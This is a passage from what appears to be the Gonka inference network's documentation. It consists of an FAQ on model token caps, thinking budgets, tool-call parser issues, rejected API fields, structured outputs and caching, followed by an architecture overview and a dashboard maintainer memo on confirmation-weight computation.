id from the response and send it to the broker. To extract it:curl ... | jq .id\nFormat: devshard-<short>-<short>, e.g. devshard-7a4f-31b2. Where to send: the broker's support channel (for gonka-api.org — support links on the site; for gonkagate.com — the /contact section). - Don't rely on thinking:disabled alone — to be safe, set thinking_token_budget: 0 explicitly (see Q2).
For Broker: on pre-0.2.13 — update per your validation / release cadence (no rush: clients on older versions and escrow rules require re-qualification). Until the update, clients apply the workaround above; after devshard-0.2.13 the zero-output content=null cases will disappear.
This is a gateway policy, not a model limitation. The thinking_token_budget resolver (PR #1202) allocates max_tokens / 2 for reasoning by default. For tool-heavy flows the budget burns out before any useful output. The mitigation is to explicitly set thinking_token_budget: 0 or thinking: {\"type\": \"disabled\"} (the gateway mirrors it into chat_template_kwargs via PR #1224). The model simply respects the budget.
Same cause as in Q1 — the model splits max_tokens between <think> and visible content. This is not bandwidth and not an output cap.
Two escape hatches
thinking: {\"type\": \"disabled\"} — the gateway mirrors it into chat_template_kwargs.thinking=false (the Kimi chat template reads the kwarg) and removes the top-level thinking. \"adaptive\" and \"auto\" are accepted (Claude Code CLI / Anthropic SDK preset, PR #1224) — both resolve to enabled.thinking_token_budget: 0 — an explicit zero goes straight to vLLM as a generation parameter and reliably zeroes the thinking budget.Important nuance: the mechanisms work at different levels (chat template hint vs. generation parameter) and don't overlap. thinking:disabled does NOT automatically zero thinking_token_budget — with the default max_tokens=4096 and only disabled, the model still gets a hidden ttb=2048 from the gateway resolver. In our tests Kimi respected thinking:disabled even on reasoning-heavy prompts. The model documentation (the planned docs/chat-api/kimi-k2.6.md) warns that in some reasoning scenarios the model may ignore the hint — we didn't reproduce it, but hedge anyway. Belt-and-suspenders: for critical flows, send both parameters together.
Numeric confirmation
The same bug-find prompt, max_tokens=500, the answer is identical in meaning:
thinking: {\"type\":\"disabled\"} 65 3.6s default (gateway resolver → ttb = max_tokens/2 = 250) 312 12.5s Half of the default budget goes to hidden thinking even for a trivial task — hence the advice to disable thinking for tool-heavy / agentic flows.
For Inference User:
\"thinking\": {\"type\": \"disabled\"} (Kimi) or \"enable_thinking\": false (Qwen, translated automatically).thinking_token_budget explicitly (don't rely on the default max_tokens / 2).thinking:disabled still causes burn on your prompt — duplicate it with thinking_token_budget: 0 explicitly.For Broker: on pre-0.2.13 — update per cadence. Until the update, clients apply the workaround. On the landing page, note: Kimi for tool-heavy flows requires thinking:disabled, or an explicit thinking_token_budget, or a large max_tokens.
The numbers in the question are incorrect
finish_reason=length at exactly 3,072 even with max_tokens=8000).--max-model-len on the mainnet Kimi deploy). Not 4,000.Where the output cap comes from
The network ceiling in the code is 4,096 (RequestMaxTokensCap), but the effective limit is lower. The exact mechanism is a black box. Possible explanations (by likelihood, not confirmed from public code):
DefaultRequestMaxTokens = 3,072 is not overridden by the broker operator.request_max_tokens_cap = 3,072 per-model via an admin endpoint (POST /v1/admin/settings).--max-tokens-per-request or a loader constraint).To know for sure — ask the broker for the request_max_tokens_cap value for each model.
How much fits in 3,072 tokens
Scenario Fits in 3,072? ~1,900–2,200 words of regular English yes ~600–800 lines of Python/JS yes A short answer (5–10 sentences) yes One tool call + moderate JSON (arguments ≤ 500 tokens) yes Small structured output (3–5 summary points) yes A long document summary (>10k source tokens) no Large code diffs (>2k lines) no 3+ parallel tool calls in one response no Agentic loop: reasoning + tool calls + visible content at once no For use cases in the second group — request a cap increase from the broker (see For Broker).
How to raise the cap
The output cap is controlled by the broker, not the network. To raise it — ask your broker: they can increase request_max_tokens_cap with a single admin call (no code changes). A network-wide bump above 4,096 requires a PR to the gateway code + a new release; you can initiate it through a GitHub Discussion on gonka-ai/gonka.
For the curious / operators: the blockchain stores per-model price parameters (coins_per_input_token, coins_per_output_token) and deploy parameters (model_args), but there's no field for a hard output limit — the relaxation is a local broker policy, not a governance-defined value.
Where the 240k input comes from
The mainnet Kimi-K2.6 deploy is registered via the on-chain governance proposal v0.2.12 (inference-chain/app/upgrades/v0_2_12/upgrades.go:kimiGovernanceModel()):
ModelArgs: [\"--max-model-len\",\"240000\",\n \"--tool-call-parser\",\"kimi_k2\",\n \"--reasoning-parser\",\"kimi_k2\"]\nVRam: 720 (GB)\nThe model card declares 256K native context. The gateway doesn't limit input separately, other than the universal body size (10 MiB) and message count (≤ 2,048) — the \"Request limits\" section in docs/chat-api/README.md (planned document).
Important caveat (open issue)
Even if the broker agrees to raise the output cap, individual nodes may be started with a smaller --max-model-len. The gateway routing layer does not account for per-host context capacity (issue #818). For large payloads (>50k), landing on a \"small\" node is systematic behavior, not transient randomness.
For Inference User:
request_max_tokens_cap value for each model.--max-model-len on a specific node, not a global limit. The routing layer doesn't account for per-host context (issue #818); for large payloads (>50k) this is a systematic problem. Workaround: retry or split the request into several API calls.gonka-ai/gonka.For Broker:
POST /v1/admin/settings with model_limits[].request_max_tokens_cap, no code change. It increases per-request escrow exposure and the risk of hitting the per-host --max-model-len (5xx on individual nodes). Raise it for specific models under proven demand, after verifying --max-model-len on all escrow nodes.In brief
The Kimi model accepts 30k+ input at the model and gateway levels, but stability depends on routing. The native window is 256K, the mainnet deploy uses --max-model-len 240000, and the gateway accepts a body of up to 10 MiB. Empirically, a single-shot ~69,000 prompt tokens (≈800 messages × 80 words) completed in 5.5 seconds. On sustained / repeated long requests (>50k) you'll encounter instability (issue #818) — on large payloads (215k) repeated attempts may fail with 503.
Sources for verification (all in gonka-ai/gonka)
docs/chat-api/ (the exact filename is planned as part of the chat-api docs set).inference-chain/app/upgrades/v0_2_12/upgrades.go:kimiGovernanceModel().docs/chat-api/README.md (planned), the \"Request limits\" section.When 30k does break — two typical causes
1. A single rejected field in the agent's payload. The gateway maintains a strict allowlist. If the agent sent even one non-standard field (tags, enforced_tokens, plugins, guided_json) — the entire request is cut with HTTP 400. The Hermes-specific tags reject — anchor #reject-tags in docs/chat-api/troubleshooting.md (planned). Empirically: a valid 69k payload + tags:[\"session:abc\"] → HTTP 400 in 2 seconds.
2. Routing to a node with a smaller --max-model-len. The gateway routing layer doesn't account for the host's actual context size when routing (issue #818; see also the planned known-issues.md §3). On very long payloads (>50k, especially >200k), landing on a \"small\" node is systematic behavior at the network level, not a client error: in our measurements 5×215k = 0/5 success. The request will fail on the vLLM side.
A related builder request: issue #1229 (opened in May 2026), blockers for agentic scenarios — long reasoning chains, tool-call compatibility, continuation after exceeding output limits.
Quick self-diagnosis checklist
tags, enforced_tokens, plugins, strict, guided_json, guided_regex, guided_grammar, guided_choice one at a time. Resend the same request after each removal.tools[].function.parameters (≤ 16) and the total number of nodes (≤ 256), see Q9.For Inference User:
docs/chat-api/README.md (planned). Most Hermes / OpenClaw 400s are due to a single field or schema.\"Chat completions parameter \\\"tags\\\" is currently rejected by the Gonka network...\" with a link to docs). The broker comparison — comparison-brokers.md (planned). If one broker shows a generic error — try another to get a readable message and understand the root cause.For Broker:
/v1/models endpoint, or in docs) with an explicit caveat that effective per-request capacity may be lower due to host heterogeneity (issue #818). Some brokers intentionally omit this to avoid over-promising — a defensible choice. (2) Until host-level capacity advertising is implemented — consider client-side filtering or a \"preferred-host\" list.\"Chat completions parameter \\\"tags\\\" is currently rejected by the Gonka network...\" + a link to docs). We recommend passing detailed messages through to clients in production — it speeds up diagnosis. Security note: detailed messages may reveal internal field names, host paths, and validator IDs that help enumeration or prompt-injection probes. Conservative masking is a defensible default. If you wrap them in a generic \"upstream provider rejected\" for security — use a hybrid approach: full details in async logs / error tracking, a generic message with a tracking ID to the client. The compatibility map for agents — docs/chat-api/agents.md (planned).Neither bandwidth nor a Gonka-side limitation. Three overlapping causes.
(a) max_tokens truncation
The effective output cap on the tested brokers is 3,072 tokens; the gateway network ceiling is 4,096. When the assistant emits tool calls with large JSON blobs in arguments plus visible content, you can hit the broker's real cap and get truncated JSON. Details on per-broker override — Q3.
(b) Kimi-K2.6 tool-parser duplicate ID collision
[vLLM PR #21259 — UNVERIFIED]. With n > 1, the kimi_k2 parser recomputes history_tool_call_cnt inside the per-choice loop — both branches get id = functions.<name>:0. The gateway sees a duplicate ID in vLLM's response and rejects it with HTTP 400 (per the OpenAI spec). Anchor #reject-duplicate-tool-call-id in docs/chat-api/troubleshooting.md (planned). Upstream fix — vLLM PR #21259 (merge status not independently confirmed).
(c) Hermes tool-parser JSONDecodeError on multiple tool blocks
[vLLM #17790 — awaiting upstream fix]. Different parser, different problem: a JSONDecodeError when the model emits several tool-call blocks in one response — vLLM #17790. Related: <tool_call> inside <think> breaks hermes parsing — vLLM #42021. These don't depend on Gonka — awaiting an upstream fix.
For Inference User:
tool_call.id on the client side before sending subsequent messages, into the canonical format functions.<name>:<global_idx> — the official Moonshot recommendation, duplicated in docs/chat-api/troubleshooting.md#reject-duplicate-tool-call-id (planned). An alternative is fresh UUIDs.max_tokens for responses with tool calls; large arguments blobs quickly hit the cap.For Broker:
functions.<name>:<global_idx> (don't dedup). Document the pattern in the customer FAQ with a link to troubleshooting.md#reject-duplicate-tool-call-id. Security note: a naive dedup-by-id is an attack surface if not validated carefully. Canonicalizing the name instead of removing is safer.\"messages[N].tool_calls[M].id is duplicated\") instead of a generic wrapper — it reduces time-to-fix for agentic clients. Security note: balance debug-friendliness and information disclosure — see Q4.Guided decoding has nothing to do with the token cap. The mechanism forces the model to generate output to a schema (JSON Schema, regex), but doesn't change the token count. About the cap — Q3.
The low-level vLLM fields guided_json, guided_regex, guided_grammar, guided_choice are rejected by the gateway with HTTP 400 (anchor #reject-guided-decoding in docs/chat-api/troubleshooting.md (planned)). The reason — they bypass the xgrammar bounds applied to the response_format / structured_outputs envelope to mitigate CVE-2025-48944.
The correct fields for structured output
Field Kimi K2.6 Qwen3-235B Notesresponse_format (type: \"json_schema\" or \"json_object\") works works OpenAI standard. Reliable choice. Empirically verified on both models through a public broker. structured_outputs envelope (json/regex/choice/grammar/structural_tag/json_object) HTTP 400 (network-wide reject) HTTP 400 (network-wide reject) PR #1215 (StructuredOutputsValidator) merged in the repository, but not activated on production mainnet as of 2026-05-25. Both brokers reject with an identical error: \"Chat completions parameterstructured_outputsis currently rejected by the Gonka network\" — the error references the dev branch dl/devshards-gateway-to-main, not main. This is a network-wide release lag, not per-broker. The only reliable structured-output option today is response_format on Kimi K2.6 and Qwen3. Both at once (response_format + structured_outputs) HTTP 400 HTTP 400 / 502 (depends on the broker) The gateway rejects the combo before vLLM (anchor #reject-structured_outputs-with-response_format). On vLLM 0.20.0 the fields are merged via dataclasses.replace() and violate exactly-one in StructuredOutputsParams.__post_init__. For Inference User:
response_format (works everywhere). The structured_outputs envelope is currently rejected network-wide.response_format and structured_outputs in one request — HTTP 400.For Broker:
StructuredOutputsValidator) on all routes — Qwen3 users are already waiting for the structured_outputs envelope for regex / choice / grammar workloads.Speed fluctuations are a real, known open problem. The roots are in three different layers.
1. Per-host slowdowns / stalls (host-level)
An open research task — issue #818 \"Slow nodes investigation\" (OPEN since February 2026, Priority: High). Specific patterns without a root cause (the planned known-issues.md, §1 \"Host returns no stream after receipt\" and §2 \"Host stalls after producing chunks\" — in some cases it resumes after a minute, in others never).
2. Routing variance (broker-level)
Between two consecutive requests the broker may land on different hosts with different loads. End-to-end latency varies depending on the devshard-XXXX-YYY host ID. Per-token generation speed on a stable host stays practically the same.[¹]
[¹] Illustrative observation: in one test (5 requests over ~30 sec) end-to-end latency varied such that tokens / total_latency showed a range of ~8–54 tok/s, but this metric includes TTFT and is not a published variance metric.
3. Validation windows at the network level (chain-level)
During PoC / Confirmation-PoC events (cPoC — the phases that confirm validator work within an epoch) some nodes are temporarily unavailable. At epoch boundaries there was a known problem with the snapshot preserved-nodes, in which the gateway returned attempts: [] (no available hosts on the route) — from the client side, a timeout. The effect is more noticeable the fewer nodes with that model the broker serves; it's stronger on models with a small number of providers.
\"Reasoning faster than visible\" — not prioritization, but output structure
There's no special fast route for reasoning tokens on the gateway. In the devshard code, delta.reasoning, delta.content, delta.reasoning_content, delta.tool_calls are all detected the same way via sseChunkHasContent. Per-token speed is the same.
Kimi with thinking enabled first generates a bulky reasoning_content (hundreds to thousands of tokens), then a short visible answer (tens to hundreds). A client that doesn't show the reasoning field sees \"silent, then blurts out the answer in a burst.\" In reality the model was generating the whole time, the result was just hidden.
For Inference User:
delta.reasoning_content (or delta.reasoning) in the UI, e.g. in a collapsed block.For Broker:
lastAfterReq tracking — tracked in the planned host-improvements.md and related issues) — they directly address routing / recovery weak spots.Speed depends on hardware — this is normal for a heterogeneous network. The PoC weight on the chain reflects the node's real performance (affecting the validator's reward share), while the broker's routing locally picks an available host from escrow — two consecutive requests may land on GPUs of different generations.
For Inference User: speed depends on the hardware distribution in the network. You don't pick hardware directly — you pick a broker. Need predictable latency — ask the broker which hardware tier they route to by default.
For Broker:
Where exactly the difference comes from (per internal benchmarks from kaitakuai/experiments — not measured on gonka-api.org or gonkagate.com):
experiments/2026-05/kimi_k26_int4_4xb200_q-int4-k2). 16×H100 TP gives 1,389 nonces/min = ~87 per-GPU (see experiments/2026-05/kimi-k26-int4-2x8xh100). The difference on a per-GPU basis is roughly 6×; in absolute numbers, per-GPU Kimi is slower than Qwen on the same hardware (4×B200 Kimi INT4 ~560 per-GPU vs Qwen ~992 per-GPU).VLLM_USE_FLASHINFER_MOE_INT4=1 gives +138% vs Marlin (A/B test in experiments/2026-05/kimi_k26_b300_eager_flashinfer). Applicable only to INT4 MoE workloads on the Blackwell family (kernel gate — is_device_capability_family(100), covers B100/B200/B300; B300 is effectively sm_103a).Tracing and diagnostics: observability was merged in PR #1046 \"Implement dapi & devshard observability\" — it adds OpenTelemetry traces, Prometheus metrics, and dashboards. If Grafana has no per-host TTFT panels — check that DAPI / devshard are updated and the dashboards are included in the build.
Additional sources: the repo kaitakuai/experiments (updated regularly), your own per-host stats from gonka.pw, and network status from meter.gonka.gg. Want to influence the hardware distribution — scale devshard escrow toward hosts with the preferred GPUs.
Most likely, one of four causes — the gateway applies a strict parameter allowlist and tight caps on the JSON Schema. This is not Kilo-specific: the same causes trigger for any coding agent (Cline, Continue.dev, OpenCode, etc.).
1. Hard reject (HTTP 400) — needs to be fixed on the client side
Trigger Cause Fix Thetags field in the payload Not from the OpenAI Chat Completions standard; folkloric Hermes convention; anchor #reject-tags Use metadata (OpenAI standard) or user for tracking Schema depth > 16 in tools[].function.parameters CVE-driven cap Flatten the schema; PR #1187 raised it from 5 → 16 Schema nodes > 256 (total) CVE-driven cap Reduce it; PR #1195 raised it from 128 → 256. MCP tools with large input schemas may approach the limit; test on your gateway. If you genuinely need an MCP tool with >256 nodes — feature request. 2. Silent coerce / strip — the request doesn't fail, but behavior changes
Trigger What the gateway does Notestool_choice: \"required\" Silently → \"auto\" (network policy) Anchor #coerce-tool-choice-required. In most cases the model will make a tool call for an obviously tool-relevant prompt, but there's no \"required\" guarantee tools[].function.strict: true Silently drops the field vLLM parsers (hermes, kimi_k2) ignore the flag. PR #1193 The compat matrix for known clients: docs/chat-api/agents.md (planned). A basic working tool-calling example: Developer Quickstart §1.4.
For Inference User:
agents.md and troubleshooting.md (planned) — most 400s fall into the documented reject anchors (#reject-tags, #reject-enforced_tokens, #reject-structured_outputs-kimi).tags, enforced_tokens, plugins, strict, guided_*; remove them one at a time and resend the request. Doesn't help — check the schema depth (≤ 16) and nodes (≤ 256).For Broker:
agents.md on the dashboard — a cheap quick-win to add.gonka-ai/gonka — it helps every broker in the ecosystem.A composition of three factors
The original FAQ version mentioned a fourth — the special-token sanitizer — but that's about security/prompt-injection, not tool-call failure; the PR fix is deferred, since Kimi handles special tokens correctly (empirically).
max_tokens for thinking by default (see Q1/Q2). With the default thinking_token_budget = max_tokens / 2, it goes to <think> before the model even starts emitting a tool call. For tool-heavy agentic flows the budget runs out before useful output. Mitigation — thinking_token_budget: 0 explicitly (Q2). This is a gateway policy, not a model limitation.arguments blobs + visible content easily hit the ceiling.tool_calls[].id collisions with n>1 (vLLM PR #21259 — UNVERIFIED) and the hermes parser JSONDecodeError on multiple tool blocks (vLLM #17790).Builder pain point with a link: issue #1229 — long reasoning chains, tool-call compatibility, continuation after exceeding output limits are listed as blockers of agentic coding workflows.
For Inference User:
\"thinking\": {\"type\": \"disabled\"} + \"max_tokens\": 4096 (or an explicit thinking_token_budget: 0, see Q2 on belt-and-suspenders). This frees the entire cap for tool-heavy output. Empirically: Kimi easily emits 5 parallel tool calls in one response in ~4 seconds.functions.<name>:<global_idx> (Q5) to avoid the gateway duplicate-id reject.For Broker:
request_max_tokens_cap via /v1/admin/settings) with the recommendations above — it covers the main class of agent failures on your gateway.Three causes; the client can work around two, but not the third.
max_tokens truncation on large diffs. Large code patches don't fit in the effective cap of 3,072 (Q3). Workaround: split the diff into several tool calls — the model fits the budget more easily on each.devshard 0.2.13), most known crash scenarios are cut off by 400 validators instead of crashing.known-issues.md §1) — the host accepted the request but doesn't return chunks. This is network-level with no client workaround other than retry.For Inference User:
\"thinking\": {\"type\": \"disabled\"} + \"max_tokens\": 4096. Large diffs — into several tool calls.For Broker: document the \"split big diffs\" pattern in the customer FAQ for coding-agent clients.
"}, {"location": "gonka/docs/FAQ/#is-there-a-model-that-handles-both-input-and-output-without-trade-offs", "title": "Is there a model that handles both input and output without trade-offs?", "text": "MiniMax-M2.7 launched on mainnet ~2026-05-28 via the chain governance upgrade v0.2.13 — Gonka's third model. Verified live on both brokers. Clarification: \"Qwen output cap 8,192\" in the question is inaccurate — the output cap is the same for all models (3,072 / 4,096, Q3), not model-side.
Model Native context Mainnet Native thinking Tool calls Kimi-K2.6 256K 240K yes (chat_template_kwargs)functions.<name>:<idx> Qwen3-235B-A22B-Instruct-2507-FP8 128K 240K no (Instruct) hermes parser MiniMax-M2.7 ~180K 180K yes (<think> in content) chatcmpl-tool-<hash> MiniMax deploy spec (inference-chain/app/upgrades/v0_2_13/upgrades.go:minimaxGovernanceModel()):
ModelArgs: [\"--enable-auto-tool-choice\", \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"]\nVRam: 320 GB ThroughputPerNonce: 5000 (Kimi 1500 — MiniMax ×3.3 higher)\nminimaxStartEpoch: 271\nHfCommit: d494266a4affc0d2995ba1fa35c8481cbd84294b\nImportant differences of MiniMax from Kimi/Qwen:
<think> blocks in delta.content (not in reasoning_content like Kimi) — behavior of the minimax_m2_append_think parser. Parse the tags client-side if you don't need them in the final text.chatcmpl-tool-<hash> — already unique by shape, so the Q5 advice about canonical id rewriting doesn't apply.Related artifacts: PR #1163 Weight Scaling (merged 2026-05-13, aligned the economics with Kimi); PR #1226 (open, not merged) — a gateway-side refactor on top of the deployed model, not a blocker.
For Inference User: MiniMax-M2.7 is available today (ID MiniMaxAI/MiniMax-M2.7 on gonka-api.org, minimaxai/minimax-m2.7 on gonkagate.com — see case-sensitivity Q1). Choose by workload: Kimi for reasoning+tools, Qwen3 for large context + structured outputs, MiniMax-M2.7 — a tool-friendly alternative to Kimi with better throughput.
For Broker: the deploy was done by the network via the v0.2.13 upgrade. Not serving MiniMax — check that the mlnode-image supports the deploy args above and the hosts are updated. PR #1226 (open) will improve the UX (per-model dispatch, tool-message shape), but doesn't block.
"}, {"location": "gonka/docs/FAQ/#why-is-there-no-working-web-search-available", "title": "Why is there no working web search available?", "text": "By design — Gonka is an inference network, not an agent framework. Plugin / web execution is a concern of the client's agent layer or a broker with value-add services, not the inference path.
Specifically: on 2026-05-25 we tested the same plugins payload through two brokers. gonka-api.org silently strips the field (HTTP 200, anchor #strip-plugins in docs/chat-api/troubleshooting.md (planned)); gonkagate.com rejects it with HTTP 400 \"Plugin config is invalid\". Both are valid interpretations of the gateway contract: one in favor of lenient parsing (silent strip), the other strict validation (reject unknown fields). In both cases plugins is not executed: vLLM has no plugin-execution path, and quietly passing this field through would imply a backend capability that doesn't exist. When migrating between brokers, account for the divergence (details in comparison-brokers.md (planned)).
For Inference User: run the search in your own agent layer (LangChain, LlamaIndex, your own wrapper), inject the results into messages[].content before calling /v1/chat/completions. This is the standard pattern for all OpenAI-compatible endpoints.
For Broker: an opportunity for differentiation — a broker-level value-add (\"we do search and inject the results into messages\") is a legitimate product. Implement it fully on top of Gonka, without protocol changes. Security note: stripping plugins may reflect an abuse-resistance policy (not a UX failure) — think this through if you'll offer plugin execution as a product. Offering it as a standard — open an ecosystem Discussion on gonka-ai/gonka.
By design it's not on the Gonka roadmap. The right place is a side-car or a value-add at the broker layer.
For Inference User: build / buy a fetch service (Tavily, Exa, Perplexity API for search; trafilatura/Readability for parsing), normalize into text, send it through an OpenAI-compatible call. There are plenty of ready-made solutions.
For Broker: want to offer it as a tier — open an ecosystem Discussion in gonka-ai/gonka so the community converges on common conventions (e.g. a side-car that everyone deploys consistently).
The same blocker as in \"The input token cap for Kimi is 4k tokens, and the output cap is 8,192 tokens. When will these limits be raised?\". The output cap (effective 3,072 / network ceiling 4,096) is tight for \"tool result body + summary in one response.\" Thinking is enabled — half of it goes there (Q1/Q2).
A ready-made payload for the summary use case:
{\n \"model\": \"moonshotai/Kimi-K2.6\",\n \"messages\": [\n {\"role\": \"system\", \"content\": \"You produce structured summaries of technical documents.\"},\n {\"role\": \"user\", \"content\": \"Summarize the following document:\\n\\n<paste the text here>\"}\n ],\n \"max_tokens\": 4096,\n \"thinking\": {\"type\": \"disabled\"},\n \"thinking_token_budget\": 0,\n \"response_format\": {\n \"type\": \"json_schema\",\n \"json_schema\": {\n \"name\": \"document_summary\",\n \"strict\": true,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": false,\n \"required\": [\"summary\", \"key_points\"],\n \"properties\": {\n \"summary\": {\"type\": \"string\", \"description\": \"3-5 sentences\"},\n \"key_points\": {\"type\": \"array\", \"items\": {\"type\": \"string\"}, \"minItems\": 3, \"maxItems\": 7}\n }\n }\n }\n }\n}\nFor Inference User:
response_format compresses the output into the required shape, saving budget.finish_reason=length) — split it into N+1 calls: one fetch+plan, the rest section summaries; stitch them together client-side.response_format with the structured_outputs envelope — HTTP 400 (Q6).For Broker: response_format is the simplest and most portable mitigation regardless of your cap-bump policy. Consider a per-customer cap-bump option once the per-model request_max_tokens_cap is in your admin config.
Short answer: there's no ETA. On the Gonka gateway side everything is ready — the blocker is on the upstream vLLM side, issue #33264 has been open 4+ months with no merged PR. Until it's closed, the prompt_cache_key field in your request is silently ignored — don't include it, so you don't rely on behavior that doesn't exist.
The vLLM prefix KV cache works on each ML node. Gateway-level prompt_cache_key / cache_key are currently silently stripped — a limitation blocked by an unmerged upstream vLLM PR.
Current status quo
prompt_cache_key (OpenAI standard) and cache_key (Moonshot Kimi convention) are silently stripped — neither reaches vLLM. Anchors: docs/chat-api/troubleshooting.md#strip-prompt_cache_key and #strip-cache_key (planned).cache_salt field for prompt-cache isolation (RFC #16016, PR #17045). Aliasing prompt_cache_key → cache_salt is the open vLLM #33264 since January 2026, with no merged PR.cache_key without isolation would be unsafe — there are published prompt-cache timing side-channel attacks (arxiv 2502.07776 PROMPTPEEK). The gateway cannot implement false cache-isolation guarantees.Important architectural caveat
Even when vLLM #33264 merges and the gateway adds a hash → cache_salt bridge, the cache remains per-vLLM-instance. Gonka's multi-host routing means two requests with the same cache_key may land on different hosts with different prefix caches. Without sticky routing (which doesn't exist now), guaranteeing an OpenAI-style ~80% hit rate is architecturally hard. None of the three blockers (upstream vLLM PR, gateway bridge, sticky routing) is shipped today.
For Inference User: there's nothing to do today — prompt_cache_key and cache_key are no-ops. Don't rely on these fields for cost optimization.
For Broker: no gateway-side change is needed until vLLM #33264 merges. Want to speed it up — comment / contribute to that upstream issue. After the merge, the Gonka gateway will add a bridge that lights up both fields together.
"}, {"location": "gonka/docs/FAQ/#when-will-image-input-be-enabled-for-kimi-on-the-gonka-gateway", "title": "When will image input be enabled for Kimi on the Gonka gateway?", "text": "Not available today. ETA — release v0.2.14 or later (current is 0.2.13), no fixed date. Multimodal payloads (messages[].content with type: \"image_url\" or \"video_url\") currently return HTTP 400 on both public brokers.
Active work, the plan is written and broken into phases. The planned document multimodal-inference-plan.md in gonka-ai/gonka (≈466 lines, 6 phases — ML Node, Host↔ML Node, Broker/DAPI, Devshard Protocol, etc.). Until it's published, it's easier to track via the issues / PRs below.
Hard blockers today
A multimodal-specific special-token sanitizer. The Kimi-K2.6 chat template accepts image_url / video_url content parts, but the gateway currently validates only text. Multimodal payloads (image URLs, alt-text, metadata) provide an additional injection surface that must be validated. The security review flagged it as a Phase 2 blocker. There's no published CVE for this specific multimodal threat yet; internal tracking is in progress.
Independent VLM validation review. The validation methodology for image inputs needs to be independently confirmed. Issue #1026 (initial research: Qwen2-VL-2B F1=100% intermediate) + #1198 (re-validate, up-for-grabs).
Target: v0.2.14+, but there's no committed timeline; blocked by issue #1198 (independent validation, up-for-grabs).
What's empirically confirmed today: a request with a messages[0].content array containing {type:\"image_url\"} returns HTTP 400 on both routes (Kimi and Qwen3). Multimodal inputs are not accepted at the gateway level.
For Inference User: not available today.
For Broker: three ways to speed it up:
The diagram and description below outline how inference requests travel through Gonka, a decentralized network designed to balance performance with cryptographic guarantees. Gonka only records transactions and artifacts for inference validation. The actual computation happens off-chain.
Inference requests move across independent Hosts (all network participants, not a central scheduler). The system is decentralized, with no single point directing inference requests to the network nodes. In practice, each Host deploys at least two nodes:
The diagram below shows the flow of an inference request through the Gonka network. Green arrows indicate communication over the public internet, while yellow arrows indicate communication within a Host’s private network.
The following sequence describes how an inference request moves through the Gonka network as illustrated in the diagram above:
Blockchain records are not slowing down either the moment when inference computation starts, nor the moment when final results are available to the client. The validation that inference was done honestly happens afterwards, in parallel with other inferences. If an Executor is caught cheating, they’ll lose rewards for the whole epoch, and the client will be notified and get their money back. Note that the diagram shows inference flow on a high-level and does not show full complexity of the network. For example, it does not show direct communication between Hosts’ Chain Nodes, and does not include the bridge or several other internal components not relevant at this abstraction level.
"}, {"location": "gonka/docs/architecture/#proof-of-compute-poc-timeline", "title": "Proof of Compute (PoC) timeline", "text": "Proof or Compute is a novel consensus mechanism which retains all the benefits of traditional Proof of Work in terms of aligning weight, workload and rewards with computational power (unlike Proof of Stake which aligns weight with the staked coins). Unlike Proof of Work, Proof of Compute concentrates the proving part (Sprint) in a short limited time window, freeing the rest of the time for the useful work (in our case LLM inference). Gonka operates in epochs, each epoch lasts 15391 blocks (approximately 23 hours).
Each epoch follows a strict sequence that ties Sprint execution, Hosts activity, and reward settlement into a cohesive flow.
Each Sprint begins simultaneously for all Hosts, ensuring fairness by eliminating any advantage based on timing (much like a starting gun in a race, where no Host may begin early). This synchronous start is coordinated using a random seed that cannot be predicted or influenced beforehand. All Hosts with voting power contribute to generating this seed, preventing any minority set of Hosts from pre-computing or gaining an unfair edge.
Sprints are deliberately short, concentrating computational effort into a tightly bounded and efficient window. They occur at regular, precisely defined intervals aligned with blockchain block production, taking only a small fraction of the total epoch length. By design, Spring duration is minimized so that the majority of epoch remains available for meaningful work, such as LLM inference and training. This predictable rhythm allows Sprint execution to integrate naturally into the overall operation of the decentralized AI network without interfering with productive workloads.
An epoch concludes with auto claiming rewards for epoch N. The new Proof of Compute phase (Sprint) begins to determine Hosts weights for the upcoming Epoch. Once Sprint is completed and weights are assigned, this marks the start of the new epoch.
Throughout the epoch, Hosts run and validate inferences.
If for some reason a reward for epoch N was not claimed, each Host’s API node automatically submits a reward claim transaction in epoch N+1 for epoch N using the seed that was signed at the start of epoch N. The claim is retried every 30 minutes until it succeeds. Importantly, the Host must remain online and pass all verification checks within this limited window, otherwise, the chain cannot finalize the claim, and the reward remains unclaimed. Unclaimed rewards from earlier epochs (epoch N) are permanently burned as soon as epoch N+2 begins.
As part of the claim process, the chain verifies that Host completed all required work for the epoch. The protocol also allows overdue inference-validation artifacts to be submitted during this window, giving Hosts a final opportunity to execute any pending validations before rewards are finalized.
"}, {"location": "gonka/docs/dashboard-maintainer-memo-v0.2.13/", "title": "Dashboard maintainer memo v0.2.13", "text": ""}, {"location": "gonka/docs/dashboard-maintainer-memo-v0.2.13/#dashboard-maintainer-memo-for-v0213", "title": "Dashboard Maintainer Memo For v0.2.13", "text": "If the v0.2.13 upgrade proposal passes and the upgrade is successfully executed on mainnet, dashboards will need to update how they compute CPoC confirmation weight and refresh their cache after the upgrade.
This applies to Gonkascan and other similar dashboard deployments.
"}, {"location": "gonka/docs/dashboard-maintainer-memo-v0.2.13/#main-dashboard-impacts", "title": "Main Dashboard Impacts", "text": ""}, {"location": "gonka/docs/dashboard-maintainer-memo-v0.2.13/#1-new-confirmation-weight-computation", "title": "1. New Confirmation Weight Computation", "text": "Dashboards must use the new chain-provided confirmation_weight_scales snapshot when computing weight_to_confirm.
Simple meaning: the dashboard should stop assuming it can always use current params plus subgroup models. The chain now snapshots which models count for CPoC and what scale factors to use for that epoch.
This is the big required dashboard logic change.
Code references in upgrade v0.2.13:
inference-chain/proto/inference/inference/epoch_group_data.proto: EpochGroupData.confirmation_weight_scales and ConfirmationWeightScaleinference-chain/x/inference/module/confirmation_weight_scales.go: buildConfirmationWeightScalesinference-chain/x/inference/types/weight.go: helper functions for confirmation-weight calculationImplementation guidance:
/chain-api/productscience/inference/inference/current_epoch_group_data\n/chain-api/productscience/inference/inference/epoch_group_data/{epoch_id}\nIf root epoch_group_data.confirmation_weight_scales exists and is non-empty, use it as the source of truth.
Iterate only the entries in confirmation_weight_scales. Do not additionally include root sub_group_models entries that are not present in confirmation_weight_scales.
For each scale entry:
model_id\nweight_scale_factor\nfetch that model subgroup:
/chain-api/productscience/inference/inference/epoch_group_data/{epoch_id}?model_id={model_id}\nFind the participant in that subgroup's validation_weights.
Compute raw model weight from that subgroup's ML nodes:
raw_model_weight = sum(validation_weight.ml_nodes[].poc_weight)\nDo not use root validation_weight.weight as this denominator.
